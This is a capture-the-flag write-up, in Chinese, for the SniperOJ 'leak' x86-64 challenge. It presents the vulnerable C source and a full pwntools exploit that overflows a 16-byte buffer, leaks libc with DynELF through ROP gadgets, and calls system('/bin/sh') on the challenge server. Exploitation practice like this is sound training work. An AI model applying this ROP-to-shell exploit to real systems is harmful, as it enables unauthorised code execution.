SniperOJ-leak-x86-64
题目源码
#include <stdio.h> #include <unistd.h> #include <string.h> void init(){ setvbuf(stdout, NULL, _IOLBF, 0); } void welcome(){ char *words = "Welcome to Sniperoj!\nDancing in shackles, Right?\n"; write(1, words, strlen(words)); } void vuln(){ char buffer[16] = {0}; read(0, buffer, 0x80); } int main(){ init(); welcome(); vuln(); return 0; }
题目是leak,提示是dynelf,pwntools里有个函数dynelf可以泄露内存任意地址至少一字节数据
linux64位下函数参数前六位是靠RDI, RSI, RDX, RCX, R8和 R9传递的,如果还有更多参数再依靠栈传递,这里需要寻找合适的gadgets进行rop.寻找gadgets的工具,我用的是ROPgadget,下载地址
ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master
找到两处可用gadgets
$ ROPgadget --binary leak --only "pop|ret" ============================================================ 0x0000000000400733 : pop rdi ; ret 0x0000000000400731 : pop rsi ; pop r15 ; ret
没有找到类似pop rdx;ret的gadgets,这里先暂且不管,看看只靠两个参数能不能做下去。
先做些预备工作
elf = ELF('leak') write_plt = p64(elf.symbols['write']) start_addr = p64(elf.symbols['_start']) read_plt = p64(elf.symbols['read']) data_addr = p64(elf.symbols['__data_start']) junk = "A" * (0x10 + 8) #Io = process("./leak") Io = remote("pwn.sniperoj.cn", 30008)
再编写leak函数
def leak(addr): Io.recvuntil("Dancing in shackles, Right?\n") payload = junk + p64(0x0000000000400733) + p64(1) + p64(0x0000000000400731) + p64(addr) + start_addr + write_plt + start_addr Io.send(payload) leaked = Io.recv(8) print "[%s] -> [%s] = [%s]" % (hex(addr), hex(u64(leaked)), repr(leaked)) return leaked
leak出system的地址
d = DynELF(leak, elf=ELF("leak")) system_addr = d.lookup('system', 'libc') print "[system()] -> [%s]" % (hex(system_addr))
将/bin/sh写入.data段
payload = junk + p64(0x0000000000400733) + p64(0) + p64(0x0000000000400731) + data_addr + start_addr + read_plt + start_addr Io.send(payload) Io.send("/bin/sh\x00")
调用system("/bin/sh")
payload = junk + p64(0x0000000000400733) + data_addr + p64(system_addr) + p64(0xFFFFFFFF) Io.send(payload)
完整脚本如下
#!/usr/bin/env python # coding:utf-8 from pwn import * def read_output(): Io.recvuntil("Dancing in shackles, Right?\n") def leak(addr): read_output() payload = junk + p64(0x0000000000400733) + p64(1) + p64(0x0000000000400731) + p64(addr) + start_addr + write_plt + start_addr Io.send(payload) leaked = Io.recv(8) print "[%s] -> [%s] = [%s]" % (hex(addr), hex(u64(leaked)), repr(leaked)) return leaked elf = ELF('leak') write_plt = p64(elf.symbols['write']) start_addr = p64(elf.symbols['_start']) read_plt = p64(elf.symbols['read']) data_addr = p64(elf.symbols['__data_start']) junk = "A" * (0x10 + 8) #Io = process("./leak") Io = remote("pwn.sniperoj.cn", 30008) # leak the address of system() d = DynELF(leak, elf=ELF("leak")) system_addr = d.lookup('system', 'libc') print "[system()] -> [%s]" % (hex(system_addr)) #system_addr 0x7f279f108390 # write /bin/sh read_output() payload = junk + p64(0x0000000000400733) + p64(0) + p64(0x0000000000400731) + data_addr + start_addr + read_plt + start_addr Io.send(payload) # send /bin/sh Io.send("/bin/sh\x00") read_output() payload = junk + p64(0x0000000000400733) + data_addr + p64(system_addr) + p64(0xFFFFFFFF) Io.send(payload) # interactive() Io.interactive()
利用通用gadgets进行rop又失败了,很伤心,原以为自己已经找到利用方法了,唉,我好菜
Always believe that good things will come.